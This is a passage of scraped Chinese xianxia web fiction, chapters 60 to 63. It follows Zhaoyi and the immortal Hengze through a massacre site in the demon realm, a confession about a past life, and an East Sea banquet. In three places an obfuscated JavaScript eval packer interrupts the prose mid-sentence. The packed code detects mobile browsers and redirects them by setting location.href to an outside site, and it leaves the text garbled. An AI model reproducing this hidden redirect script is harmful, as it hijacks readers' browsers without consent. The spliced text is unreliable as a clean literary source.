当时那两人态度虽恶劣了些,但他们也只是在保护妖族的孩子,昭意也是亲眼见过朱雀卫是怎么屠杀那些孩子的。 昭意一伸手,抓住了珩则的袖子,“我也一起去。” 60. 第 60 章 止辛 珩则一愣,垂眼看着她拽着自己袖子的手,喉结轻滚,稳住了声音,“妖界混乱,你还是待在……” “仙君,带我一起去吧。” 珩则的视线里突然闯入昭意的脸,她认真地看着珩则,双眼清澈又明亮。 珩则呼吸一紧,世界里似乎只有昭意那双认真又专注的双眸。 鬼使神差地,他道了句,“好。” 对于珩则来说,他的法力并不受地域的限制,去哪里都不过是一眨眼的事情。 下一秒,两人就已经到了妖界。 地上都是烧焦的气味。 昭意捂住口鼻,看向不远处地上躺着的一具被烧焦了的尸体。 不远处的林子里传来异动,珩则带上昭意瞬移了过去。 一棵被烧焦了的树背后坐着一只小妖精,她被烧伤了,自己站不起来,扒拉着树试图让自己站起身来,只是努力了几次都没成功。 待昭意和珩则看到时,那小妖精又摔倒了下去,发出沉闷的响声。 刚才两人听到的动静,就是这小妖精摔倒的声音。 珩则扫了小妖精一眼,刚抬起手运转仙气,就被昭意一手握住了。 他身体一僵,看了眼两人相握的手,突然觉得脸颊一烫。 昭意浑然未觉,眼睛盯着远处那只小妖,和她之前在妖村见到的一样,只是妖的幼年体。 她轻声道:“仙君,我先去看看。” 良久没听到珩则的声音,她疑惑地转头一看,只见珩则盯着两人相握的手发愣,眼中波光粼粼,不知道在想什么。 昭意也是一窘,有些不自然地收回了自己的手。 她轻咳一声,将方才的话又说了一遍,珩则这才应了一声。 昭意轻轻朝小妖精走去,但是走动的声音还是吓到了她。 那小妖精惊恐地转头,一见到昭意,就拼了命地要站起来逃跑。 只是才支起身子,下一刻就摔倒在地上动弹不得,扯到伤口传来刺痛,让她痛呼了一声。 昭意放慢了脚步,轻声道:“别害怕,我不会伤害你。” 可是小妖精感受得到昭意身上的仙气,她全然不信昭意,盯着昭意越来越近的身影,露出两颗獠牙来,不停地朝昭意嘶吼着。 昭意走到小妖精身前,慢慢蹲了下来,伸出手想要摸一摸小妖精的脑袋。 “别怕,我只想问问几个问题……” 刹那间,远处飞来一支冷箭,瞄准了昭意额间直直地射了过来。 那箭上带着妖气,十分迅速,昭意注意力全在眼前的小女孩身上,带她反应过来时,箭已经到了眼前。 虽然那箭速度十分快,但到了昭意眼前,就已经动不了了。 仔细一看,箭身还在颤抖着,似乎有什么东西抑制住了箭身,叫它无法动弹。 下一刻,那箭就在昭意眼前裂开了。 珩则站在了昭意身边,瞥了一眼化为粉末的箭,盯着林子深处。 那边传来一身怒吼,“离她远一点!” 话音刚落,就见林子里冲出来一人,只是还未看清身影,昭意就见到几道光从自己耳边掠过,直直朝着那人刺了过去。 昭意惊呼一声,“仙君!” 那几道光忽地停在了那人身前,化为利剑指着他,若他再向前一步,定会被捅个透彻。 这人停下来,昭意才看清对方也是只妖,看着年龄不大,手上拿着弓箭,刚才的冷箭就是他放出来的。 “止辛!” 林子里又传来一个女子的声音,就见地上冒出几根藤蔓,卷上少年的腰,将他快速拖拽了回去。 那女子显出形来,接住少年,往昭意的方向看了一眼,一愣。 青佩拽着止辛,神色复杂地看着昭意,随后她又看到了昭意身边的珩则,宛如炸了毛的猫一般,咬着牙紧盯着珩则。 在那几根藤蔓破土而出时,昭意就认出了青佩。 珩则感受到对面传来的敌意,那几枚剑在空中旋转着,将青佩和止辛围了起来。 青佩盯着头顶上的剑,提防着它们随时落下。 她道:“止辛,你太冲动了。” 止辛虽不知昭意是谁,但他认识珩则。 整个妖界恐怕就没几个人不认识珩则了吧。 那个让妖界沦落到如今这个地步的罪人! 他也知道仅凭他和青佩两人,是打不过珩则的。 止辛一抿唇,“对不住,青佩姐,一会儿我拖住他们,你趁乱逃吧。” 他握紧手中的弓箭,已然视死如归。 青佩却按住他的手,冷声道:“或许还不到那等地步。” 止辛一愣,顺着她的目光看了过去,看到了站在珩则身边的女子。 昭意远远地看着青佩,见她没有强行出手的意思,顿时放下心来。 她看了一眼珩则,“仙君,能否让我与他们谈一谈?” 珩则回看向她,看着她眼里的期望,他沉默一会儿,将那边的剑尽数撤了回来,那些剑通通化为光,回落到珩则手心里。 止辛一喜,就要拉着青佩逃走,却被青佩一把拽住。 青佩盯着珩则,对止辛道:“别动,虽然剑撤了,但现在我们也跑不掉。小雪还在那里。” 小雪就是倒在昭意身边被烧伤的小妖精。 止辛一愣,看着地上的小妖精,思虑一番,最终选择了相信青佩。 昭意朝青佩走了过去。 青佩盯着昭意,“好几不见。” 昭意没想到青佩会主动和她打招呼,她一愣,又听青佩说,“我忘了,仙子在天上与我们在妖界不同。我们妖界过得这么艰难,对仙子来说不过是眨眼一瞬间的事吧?” 话中带刺,这似乎才是昭意记忆里青佩的样子。 昭意笑笑。 她看向这片被烧焦的土地,“这里发生了什么?” 青佩冷哼一声,看向站在远处的珩则,“那位仙君不知道吗?” 昭意回身看了珩则一眼,他静静地站在原地看着她,给她和青佩留足了空间。 昭意道:“他也不知。” 然而止辛却嘲讽一笑,“装什么呢?不是他让朱雀卫来剿杀我们的吗?” 昭意沉默一会儿,她不知珩则和朱雀卫的事情,便先不做答应。 “我们观察到了妖界的气运波动异常,这才过来查探一番。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12898239|127974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 止辛冷哼,“这里是妖界,就算是气运异常,也轮不到你们来管!” 话音刚落,空中就传来嗡嗡地震动声,那几枚剑凭空立了起来,直指止辛与青佩二人。 青佩瞪了止辛一眼,止辛才悻悻闭嘴。 昭意抿了抿唇。 至少方才止辛说的没错,这里是妖界。 “这些朱雀卫为何要在妖界屠杀你们?” 止辛盯着珩则,咬紧牙关,眼里充满了恨意。 青佩道:“谁知道呢?几千年前,妖族与人族仙族早就划清了界限,我们自己在妖界过我们自己的,井水不犯河水。有一日却来了几个自称是上境的人,非要说我们做祟,起初只不过是杀了那些偷跑去人间的妖精,后面渐渐杀到妖界来了。” 昭意微微惊愕,“你们的妖皇不管管吗?” 青佩垂下眼,脸色有些不好。 “我们陛下……” 她看了珩则一眼,还是止住了嘴。 青佩盯着昭意,道:“上次你救了我们的人,我信你,我却不信他。” 她看向珩则,继续对昭意道:“你方才说的妖界气运有异是真的,只是我不知道该不该告诉你。日后你来妖界寻我,我带你去见我们陛下。” 空中传来几声鸟鸣声,青佩和止辛脸色一变。 青佩看着珩则旁边的小妖精,“我们得走了,这孩子……” 昭意会意,回头朝珩则点了点头,珩则便收回了全部的灵力。 空中的鸟鸣声越来越近。 再也顾不得多说什么,青佩一把捞起小妖精,和止辛一同逃走了。 片刻后,空中落下几名朱雀卫,朝着珩则跪了下来。 珩则走到昭意身边,才看向眼前的几人。 一名朱雀卫以头抢地,“见过珩则上仙,上仙怎么来此等肮脏之地了?若有事,命长老吩咐我们便是。” 珩则目光一扫,似笑非笑,“怎的,我来不得?” 朱雀卫喉头一哽,“非……非也,只是……” 珩则道:“妖界气运有异,本君来看看。” 昭意眼尖地见到那名朱雀卫松了口气。 朱雀卫又犹豫道:“方才逃走的那几只妖……” 珩则暗暗看了一眼昭意,见她目光微闪,不知道在思考什么。 他道:“无妨,不必追了。” 朱雀卫撑在地上的手忽地一握,又立马松开,道了句,“是。” 珩则抬手,就见四周大地上升起淡淡金光,将整个树林笼罩住,灵力在上空波动着。 片刻后,光芒散去,一切恢复如初。 朱雀卫抬头看着,擦了擦额角的汗。 昭意走到他身边,朝他一笑,“这位仙君,看起来似乎有些紧张?” 朱雀卫被吓了一跳,知道昭意是珩则身边的人,结结巴巴道:“没……没有。” 昭意笑了笑,不说话。 珩则回过头来时,就见到昭意正冲着别人笑。 他眉眼一冷,扫向那名朱雀卫。 朱雀卫突然觉得传来一阵威压,待他疑惑地扫向四周,与珩则的目光对上时,他突然觉得背后一凉。 61. 第 61 章 坦白 昭意看到珩则朝她走来,问,“仙君,可有异样?” 珩则从那朱雀卫身上收回目光,看向昭意。 “这里气运一切正常,除了四方阵里的异象外,没有任何迹象显示这里气运有过错乱。” 昭意轻轻蹙眉,“莫不是四方阵出错了?” 珩则摇头,“四方阵从来没有出过错。” 他目光一扫,看向了那个一直低着头的朱雀卫,“此次的气运大乱,应是同之前一样,皆是人为。” 朱雀卫身体一僵,抬头瞥了一眼珩则,又慌忙地低下头来。 珩则走向他,嘴角噙笑,目光却十分冰凉。 “这里是妖界,朱雀卫何故杀妖要杀到人家地界里来呢?赤合能否给本君一个解释?” 豆大的汗从朱雀卫额角流下,他甚至不敢看珩则,连忙跪下。 “属下不知,今日情况属下一定会如实告知长老,长老定会给仙君一个满意的答复。” 珩则看了一眼眼前身体微微颤抖的人,不置可否,转身对昭意道:“这里既无异象,我们便回去吧。” 昭意一愣,越过珩则的肩旁看向了他身后的那名朱雀卫后,她又看了珩则一眼。 最终点了点头。 在回上境的路上,昭意还是忍不住地问,“仙君,那些朱雀卫……” 话未说完,就见珩则朝她看了过来。 他道:“我知道。” 先前他就猜测到一些,气运之事可能与朱雀有关,只是一直没有证据证明。 如今妖界这场异动,却正好坐实了他的猜想。 “朱雀一族在上境盘根数千年,势力不容小觑,就连天帝也得看几分朱雀的脸色,想要一举铲除,不太容易。” 珩则不知想到什么,眼中暗流涌动。 他对昭意道:“此事你不要插手,交给我处理就好。” 说着他对上了昭意愣愣的目光,他一怔,又连忙道:“不让你插手,是怕朱雀发觉后对你有所不利,只是……” 昭意笑了笑,“我知晓。” 珩则松了口气,又听昭意道:“还有一事。” 珩则的心又提了起来。 昭意道:“仙君会去东海的宴会吗?” 听到是东海的事,珩则又稍微放下心来。 他看向昭意,见她眼里带着些许期待,他问:“你想去?” 昭意点了点头,“先前听长岁说,东海的宴会上能看到许多有趣的法宝。” 她说着,眼里一亮,“此乃难得的机会,若是可以,我想去看看。” 珩则微微垂下眸,眉心皱起,不知在思虑什么。 昭意见状,便道:“若是仙君不去,我是否能随无惑仙君一起去?” 听闻珩则仙君甚少去这些地方,昭意想着他应是不去的,这样也方便她去找法器。 却不料,珩则说:“我同你一起去。” 注意到昭意略有惊讶的眼神,他轻咳一声,“许久未去东海,是时候去拜访拜访了。” 珩则笑了笑,“届时你想看什么法宝,尽管与我说。” 昭意干笑一声。 珩则仙君若是想去东海,龙王肯定巴不得将整个东海都献给他,只是自己的东海之行难度又大了些。 执真仙君不让她在珩则面前提起前世,她肯定得瞒着珩则仙君行动。 昭意一思索,执真仙君让她不要提到那段她想不起来的前世,却没有禁止她提起祝郦那一世啊。 说起来,她到现在也不知道为何珩则不肯承认他就是楚行昀。 心思一转,昭意朝着无惑笑道:“仙君,还有一事。” 珩则脚步顿了顿,心中升起不好的预感,良久,他才问:“何事?” 昭意问:“珩则可知道我叫什么?” 珩则有些疑惑地皱眉。 昭意迎着他的目光,她自然知道自己问的是个奇怪的问题。 珩则沉默一会儿,眸光一转,“……予青。” 昭意蹙眉,立即道:“之前仙君不是这样唤我的。” 珩则默默移开视线,“是吗?不太记得了。” 他转身欲走,却被昭意一把拉住了袖子。 珩则抿了抿唇,冷声道:“松手。” 这是他头一次对昭意这般冷漠。 而昭意盯着他袖下微微颤抖的手,依旧抓着他的袖子。 “仙君之前唤我为昭意,我原以为是仙籍上有记载,可后来问了长岁,才知道仙籍上记载的向来都是道号。敢问仙君是如何知道我名字的?” 昭意目光如炬,紧紧盯着珩则。 珩则一用力,就将袖子从昭意手中抽了出去。 他抿了抿唇,淡声道:“予青仙子,本君没有义务回答你的问题吧。” 昭意看着自己空空的手心,心中一空。 珩则已抬步欲走。 昭意站在原地,看着他越走越远的背影,心中被一种陌生又酸涩的情绪填满了。 她不想再被这种迷雾一样的感觉所困住了。 这种所有隐瞒,回头去看却怎么也看不到过去的感觉。 她心中一定,快步朝珩则冲去。 昭意一把拽过珩则的胳膊,迎上他的目光。 “楚行昀!我知道是你!” 昭意抿着唇,直直地看着珩则。 在她喊出那个名字时,珩则平静的眼眸终于出现了一丝裂缝。 他眼中闪过太多复杂的情绪,昭意一时捕捉不到,不过现在她也无暇去想那些到底是什么。 她咽了咽唾沫,声音中隐隐有些颤抖,“你为什么不告诉我呢?你知道我一直在找你。” 昭意眼中微微带红,却依然直视着珩则。 她目光如炬,将珩则心中的晦暗照得无处遁形。 也曾照亮过他的整个世界。 珩则呼吸一沉,再也忍不住,长臂一揽,将人拥入怀中。 熟悉的气息扑面而来。 轻轻撒在他脖颈处的,是昭意温热的呼吸。 珩则闭上眼,手紧紧按着昭意的肩膀,恨不得将对方融入自己体中一般。 他感受着她的体温,她的呼吸,她的存在。 一滴清泪从他眼角滑落,掉入昭意的发丝间。 昭意感觉到珩则双臂的紧缩,她才动了动脑袋,后脑勺就被对方的大手按住,让她靠在对方的胸前。 珩则声音嘶哑,他轻声道:“别动,就这样让我抱一抱。” 昭意似乎也能听到自己的心跳声,她安静地靠在珩则胸前,感受着对方说话时胸腔的震动,还有和她跳得一样的快的心跳声。 昭意抬手抱住珩则。 一时间,世间似乎只有两人存在,周围安静得只有两人轻轻的心跳声。 昭意不知,在珩则记忆中,上一次两人这样相拥已经是几百年前。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12914560|127974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 珩则拂过她的发丝,他垂眸,“对不起。” 修长白皙的手指穿过黑发。 昭意一愣,想要抬头,却被珩则用手按住。 珩则眼眶微红,他掩住眼中的万千痛苦,声音沙哑,“我还没想好,如何面对你。” 他道:“以后我定向你坦白一切,只是现在,我还不知道怎么和你说。” 昭意沉默一会儿,在他怀里点了点头。 “我只是有些担心你。” 昭意猜测他的难言之隐或许和那段前世有关,她便暂且不提。 她道:“在祝郦时说好了要帮你,却什么也没帮上就离开了。” 昭意笑了笑,试图让话题轻松一些。 “后来翻看名册时,也着实为你捏了一把冷汗,好在你后来还是替尹家澄清了名声,令陷害尹家的人获得了应有的惩罚。” 珩则轻笑一声,他没有说话。 身为在上境活了几千年的仙君,下凡历劫都是家常便饭,那些在凡间的往事,无论当时执念有多深,一旦回到上境,那些事情就都成为过眼云烟。 只有那段前世是唯一的例外。 至今还在困扰着他,紧紧纠缠着他不放。 “予……予青仙子?” 远处传来一声不太确定的声音。 只见门口探出一个小脑袋来,正是长岁。 他心中很是惊慌。 长岁在桃林看着昭意与落菱分开后,心中还有些担忧,辗转了一夜,他还是决定来上玄殿探望一下昭意。 谁料刚进门,就见到他未来的师母与一仙君相拥在一起,一下子没忍住,惊呼出声。 昭意闻声,身子一僵,一把将珩则推开。 她看向门口,见到是长岁,蓦地脸一红,“你怎么来了?” 长岁才发现昭意身边的仙君竟是珩则仙君! 他在珩则仙君冰冷目光的注视下颤了颤,一颗小心脏砰砰乱跳。 他看着昭意的眼睛,脑子一片浆糊。 “我……我来看看你……” 长岁支支吾吾的,目光不小心又与珩则撞上,突然脑袋更晕了。 昭意回头看了一眼珩则,见他偏头看着别处,并未看着他们这边。 她摸了摸长岁脑袋,“怎么了?” 长岁盯着昭意的脸,才觉得自己似乎回魂过来了。 他想了半天,才想到自己是来做什么的。 “予青仙子,落……” 话音未落,昭意就一把捂住了他的嘴巴。 她朝长岁使了个眼神,长岁立即会意,点了点头。 长岁瞥了一眼远处的人,小声道:“那你去东海的事……” 昭意道:“珩则仙君也会去,届时我跟着他一起去就好。” 长岁瞪大了眼,想到他刚才进来的那一幕,心中为自家师尊一酸。 “予青仙子喜欢珩则仙君吗?” 没想到长岁吻的这么直白,昭意一窘,捏住他的脸,“小孩子懂什么是喜欢?” 长岁乌黑的眼睛里却滲出眼泪来,他抽噎着,“若仙子喜欢珩则仙君,那我师尊怎么办?” 昭意一懵,还在想长岁怎么突然提起了无惑仙君时,就觉得自己和长岁被一道阴影笼罩住。 长岁颤巍巍抬头,方才还在远处闲逛的仙君已经站在了身前。 珩则似笑非笑,“这里面,还有无惑什么事?” 62. 第 62 章 赴宴 长岁两只小手紧紧抓着衣摆,颤颤巍巍道:“没……没有……” 昭意回头,看到珩则面带浅笑地看着她,笑容温和,并没有什么问题,她又疑惑地看向长岁。 长岁赶紧道:“予青仙子,既……既然你没事,那我便先走了。” 说罢,他僵硬地转身,就要往外面走。 “等等,我送你出去。” 昭意跟上他的步伐,同他一起走到了上玄殿外。 昭意看着他白着一张脸,便伸手摸了摸他的小手,发现格外地冰凉。 “怎的这么紧张?珩则仙君也不吓人呀。” 昭意觉得,还没执真仙君吓人呢。 长岁看了一眼昭意,见她一脸认真,他咽了咽唾沫,没敢说话。 自从知晓了珩则仙君要去东海参加宴会的消息后,整个东海都沸腾了,几乎出动了所有东海的虾兵蟹将忙活着这个宴会。 前往东海赴宴那日,昭意和珩则先在岸边上遇到了无惑和长岁。 四人正等着前来接人的海龟。 无惑瞥了一眼珩则,又假装没有看到,拉着长岁往旁边站了站。 而珩则却没放过他,他看到无惑,便道:“听闻无惑仙君醉酒后抱着竹子喊我的名字?” 无惑整个人一僵,像被人踩到了尾巴的猫一样炸起了毛,大喊着,“谁……谁说的!” 他脸一红,瞪了一眼旁边的长岁。 长岁连忙将头摇得像拨浪鼓,“不是我!不是我!” 珩则笑了一声。 无惑恨不得找个地缝钻进去。 迎面海风习习,他深呼吸一口气,也不甘示弱地道:“哟,高贵的珩则仙君终于想起来我了?我以为要装作不认识我呢。” 珩则笑意淡了淡,他看着波光粼粼的海面,道了句,“对不住,无惑。” 无惑一顿,掏了掏耳朵,“什么?没听见。” 珩则又道,“之前有意避开你,叫你担心了,以后不会了。” 无惑奇道:“为何?” 其实无惑到现在也不知珩则为何躲着不见人,他只知珩则有事瞒着他,但究竟是什么事,珩则一点也不向他透露。 珩则看向身侧的昭意,她正望着大海远处,迎面而来的海风拂起她身后的长发。 珩则眼带笑意,没有说话。 见珩则难得这么开心,无惑想了想,将压在他心中已有好几日的心事问了出来,“那我不小心弄坏的竹子,便不用陪了吧……” 话音刚落,就见珩则眼眸微眯,目光犀利起来,“什么竹子?” 无惑心中一颤,他看着长岁拼命使眼神,珩则不知道此事吗?那他岂不是不打自招了? 长岁无辜地看着他摇头。 师尊,不知道啊,我什么都不知道啊。 深海中浮起的一抹深影,升到水面上时,探出一个脑袋来。 正是前来迎接四人的老海龟。 昭意喊道:“海龟来了!” 她对东海的一切都觉得甚是新奇,因为这些都是她从未在上境见过的。 温和的海风,与天际相接的水面,在阳光下泛着白光的海浪,细软的白沙,都让昭意惊讶不已。 昭意转过头看向身后的人,见他们三人都不说话,眼神也怪怪的。 她疑惑道:“怎么了?” 珩则朝她一笑,“无事。” 他带着昭意踏上海龟的后背,从袖中掏出一颗珍珠递给昭意。 昭意问:“这是何物?” 珩则道:“这是避水珠,服下后就可在海下呼吸。” 昭意接过珍珠,有些惊讶,她放在手里端详着,外表看起来就是一颗普普通通的珍珠而已。 珩则看了一眼身后磨磨唧唧的两人,“你们还走不走了?” 无惑和长岁这才慢腾腾地踏了上来。 老海龟滑动着四肢,朝着深海游去了。 今年的宴会异常热闹。 除了珩则仙君要来宴会让人震惊外,还有一个令全东海都惊讶无比的消息——落菱仙子也要来东海。 东海上下的人都以为她恨极了这个地方,却不料她竟会应邀前来。 落菱仙子在东海的这几百年,龙王让她住入了最华丽的水晶殿,但她依然觉得冷清,觉得整个东海冰冷又黑暗。 于是龙四子东方容便在水晶殿里堆满了夜明珠,将整个水晶殿照得如白昼般通明。 只是就算如此,落菱仙子也不快活,她嫌弃着东海里的一切,日日期望着有一日能回到上境去。 落菱到东海时,东海中的鱼精海怪们正小声讨论这事。 她只一个眼神,那些精怪就被吓得躲到珊瑚礁里去了。 落菱抿了抿唇,带着众婢女们朝着大殿走去。 她本是不打算来的,在东海的几百年几乎成了她心中最大的阴影,若是可以,她恨不得一辈子都不会踏足这里。 但她听闻了珩则仙君今日也会来。 珩则回上境后,她一次都没有见过他。 落菱有些紧张地抿了抿唇,一步一步朝着大殿走去。 若是能见到,她一定向他当面道歉,求得他的谅解。 前路突然走出一个男人,落菱脚下一顿。 眼前的人生了一双深蓝的双眸,那双眼眸就和大海一样幽深。 而落菱蹙眉,有些不耐烦道:“你来做什么?” 东方容目光落在她精致的脸上,轻声道:“我听他们说你会来,我便来等你。” “不用你等。” 落菱冷哼一声,带着众婢女就要从他旁边走过。 “落菱……” 东方容身形一晃,就要去抓落菱的手。 落菱却迅速避开,一众婢女就将两人隔开来,她嫌恶地看着东方容。 “殿下,请自重。” 如今她已回上境,以后依然还是上境最高贵最美丽的仙子,而不是被困在东海,过着一眼看不到头的日子,她这辈子再也不会与东海里的臭鱼烂虾有任何关系。 她轻轻一拂袖,不给东方容一个眼神,朝着大殿走去了。 只留东方容愣愣地站在原地,有些无措。 待昭意四人来到龙宫时,龙宫早已挤满了人。 天下的各个仙使一见到珩则,便围了上来。 “想必这便是珩则仙君吧……” “见过珩则仙君。” “仙君里面请……” 突然涌上来的人群将昭意挤在了外头。 昭意心里却道了句好机会! 她瞅了一眼长岁,正要使眼神,计划两人偷偷从人群中溜走,却肩膀一紧,下一刻便被珩则捞回了身边。 珩则只看了周围的人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12942973|127974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一眼,仙使们立即会意,主动让出了一条路。 于是四人便在这注视下,朝着大殿走去了。 昭意头一次受到这么多人的注视,不免有些紧张。 她瞥了一眼无惑与珩则,这两人倒是一脸淡然,也是,身为仙君,走哪儿不是这样受欢迎呢? 和她一样有些无措的,只有年岁尚小的长岁了。 长岁紧紧抿着嘴巴,脸上红红的,一脸紧张地看着前方。 好不容易走入了大殿,将那些视线都抛在了身后,昭意才松了口气,抬眼就见到了坐在远处的落菱仙子。 昭意道了句完了。 她默默看了一眼身边的珩则,也不知道他看到了没有。 也不知为何,珩则仙君对落菱有这么大的恨意。 想到落菱先前说的话,昭意心中幽默地想,总不能是在那段前世里,落菱一刀将她捅死了吧? 昭意想着,突然一笑。 或是察觉到她的目光,珩则稍稍偏头,朝她弯了弯唇,眉目温和。 猝不及防地迎上珩则的笑意,昭意脸一热,连忙移开了视线,强装镇定地看向前方,忽视掉跳得欢快的心脏。 四人入了座不久,便歌舞升平,觥筹交错。 有一小仙跑来,朝着珩则一拜,“见过珩则上仙,我乃龙王座下小仙。王上听闻上仙今日前来,甚是惊喜,遣小仙前来一问,一会儿能否请上仙为新龙子送祝词?” 昭意抬头向台上望去,便见龙王满目欢喜地看着他们这个方向。 珩则迟疑了,他看了一眼昭意。 或是看出珩则的犹豫,那小仙又道:“祝词已吩咐人写好,一会儿仙君照着词念就好,不会耽搁太久的。” 小仙眼巴巴地看着珩则。 昭意心中却一震,这可是个绝好的机会! 她看向珩则,连忙劝道:“好不容易来一次东海,仙君不如随了龙王的意,我在这里等仙君就好。” 珩则闻言,抬眸望向她。 昭意心跳得可快,她放轻了呼吸声,在她以为珩则看穿了她的心思时,却听珩则对那小仙道了句,“好。” 昭意松了一口气。 小仙欢天喜地地走了,昭意伸手端起桌上的果酿,才抿了一口,就听珩则对她道:“若是想出去玩,便去吧,只是不要跑的太远。” 昭意一呛,猛地咳了起来。 她愣愣地看着珩则。 珩则拿起帕子擦去她嘴角的水渍,笑道:“我不会拘着你去做什么,若你想出去便去吧,只是……昭意。” 他执起昭意的手,轻轻握住,“我们过好日后的生活,从前的,便不要再去追究了,可好?” 他的目光柔和似水,险些让昭意溺在其中。 在这片柔和中,还藏着一丝不易被察觉的祈求。 或许是龙宫的光线太过柔和,她鬼使神差地道了句,“好。” 珩则眼中一亮,他虽不说,但昭意也能感受到他的喜悦。 昭意朝他一笑,心底突然也有了些动摇。 追查那段早已被遗忘了的往事,真的有必要吗? 她看着珩则眼中暗藏着的欣喜,才发现身为仙君的珩则,似乎很少这样开心。 昭意垂下眼,她想,她要再去问一问执真仙君,为何不能在珩则面前提起那段前世?若是提了,那会怎样? 63. 第 63 章 轮回 衣摆被人轻轻拽了一下。 昭意转过头去,长岁不知道什么时候偷偷跑到了她身边,朝她挤眉弄眼的。 昭意看了珩则一眼。 珩则将两人的举止都收入了眼中,不等昭意开口,他就一点头,“去吧。” 昭意思索一会儿,还是跟着长岁溜出了大殿。 待两人走后,珩则便倒了一杯酒,仰头一饮而尽,酒杯被扣在桌上。 方才拿着酒杯的手忍不住地颤抖着。 然而两人在大殿里的一举一动,皆被远处的人收入眼中。 落菱看着那刺眼的一幕,心中好笑自己之前居然还想和那个普通的仙娥搞好关系,到头来却是她想的太过天真了。 她心中冷笑一声,面无表情地盯着昭意离开的背影道:“跟上她。” 落菱身侧的仙娥一愣,犹豫地看着落菱,“仙子……” 她周围的仙娥自然知道天后和赤合不让她再靠近珩则了,落菱此次能来东海,也是打着要多结交仙君的借口来的。 落菱却狠狠瞪她一眼,眼神凶恶,“去!” 生怕惹怒落菱,仙娥只能遵命,忙不迭地跟上已经出了殿门的昭意和长岁。 昭意和长岁两人一路蹿到了龙王的花园里,长岁迫不及待地拉着昭意就要走。 “我都打听好了,今日要展出的那些法器就在这边……” 长岁拽着昭意就要走。 昭意却站住了脚步,蹲下问长岁,“你可知执真仙君有没有来东海?” 长岁挠了挠头,“执真仙君啊……” 突然他一拍大腿,“来了呀,我方才还见到他身边的仙童了。只是执真仙君除了较真了一些,还有些小洁癖,像这样人多的场合,他往往是自己待一间的。” 昭意心中一喜,执真仙君也来东海了,那正好。 “你可否带我去找找他?” 长岁道:“这倒是简单。” 因为长岁和昭意皆是上境的仙人,长岁随便找了个贝壳仙问了路,贝壳仙探出了两人身上的仙气,直接给两人指了路。 所以两人要找执真仙君算不上难。 龙宫不愧是东海里最大最繁华的宫殿,就连单独给执真仙君准备的偏殿也十分绚丽。 殿前的柱子是水凝成的水柱,里头还能看到几条小鱼欢快地游来游去。 昭意和长岁两人踮起脚,透过窗户的水帘,果然见到一位仙君坐在里面。 昭意思索了一会儿,对长岁道:“你在这里等等我。” 长岁一撅嘴,紧紧抓着昭意的衣摆,“又要撇下我。” 昭意朝他笑道:“待回了上境,我带你去上玄殿里转转。” 长岁眼睛微亮,“当真?” 因为害怕珩则仙君的原因,长岁就没怎么去过上玄殿,上次他也是鼓足了勇气才去上玄殿找的昭意。 “自然。” 昭意对他道:“在这里等我。” 长岁狠狠点头,目送着昭意进了殿后,就蹲坐在水柱边看着水柱。 执真仙君独坐殿中,身边只有一个侍奉的小仙童。 他举杯饮了一口后,就放下了杯子,甚至没朝殿门口看,就道:“来都来了,还躲着干什么?” 说罢,水柱后才探出个脑袋来。 昭意慢慢朝执真走去。 说实话,她还是有些怕执真仙君的,方才她还在殿门口踌躇,没想到里面的人早已察觉到她的存在了。 执真拿过小仙童准备的湿巾擦了擦手,抬眼看着昭意,“不陪着你家仙君,跑我这里来做什么?” 昭意稳住心神,对上执真的目光。 她道:“我有一些事,想要问问仙君。” 执真略一思索,便让身边的小仙童退了下去。 他才问:“何事?” 昭意看着执真,认真道:“仙君可知在那段前世里,究竟发生了什么?” 执真举杯的手一顿,“你若要问这个,便请回吧。” 昭意心中一闷,她抿了抿唇,又问:“为何不能在珩则面前提这事?” 闻言,执真目光变得犀利起来,他冷声问:“你在他面前提了?” 扑面而来的是仙君的威压。 昭意握紧拳头,“没有。” 话音一落,周身的威压尽数撤去,昭意深深吸了一口气。 执真脸色似乎才柔和了些,但看上去依然冷漠。 昭意鼓起勇气,继续问:“若是在珩则面前提起这事,会怎样?” 他垂眸看着自己杯中的酒酿,沉思着,良久,执真笑了笑,他摇晃着手中的杯子。 “或许,会天崩地裂吧?” 昭意有些疑惑地看着执真,她觉得执真并不是个会开玩笑的人。 下一秒,执真的笑容就尽数消失,他抬眼看向昭意,“我说的是真的。” 昭意心中一愣,正是不解时,又听执真继续说。 “你以为,珩则掌管的气运,是什么的气运。” 昭意不假思索道:“自然是天下人的气运。” 执真却摇摇头道:“这话不错,却不全面。人间有气运,妖界有气运,东海有气运,上境也有气运。” 昭意恍然。 执真道:“他所掌管的,是整个天下的气运,并非人间而已。” 昭意有些惊讶,她问:“仙君的意思是……” 执真打断她,“若是珩则神智溃散,无法稳住天下气运,这天下会是什么结果,我想你比任何人都要清楚。” 自然是清楚的。 昭意永远会记得祝郦的那场天灾。 可是她还是不理解。 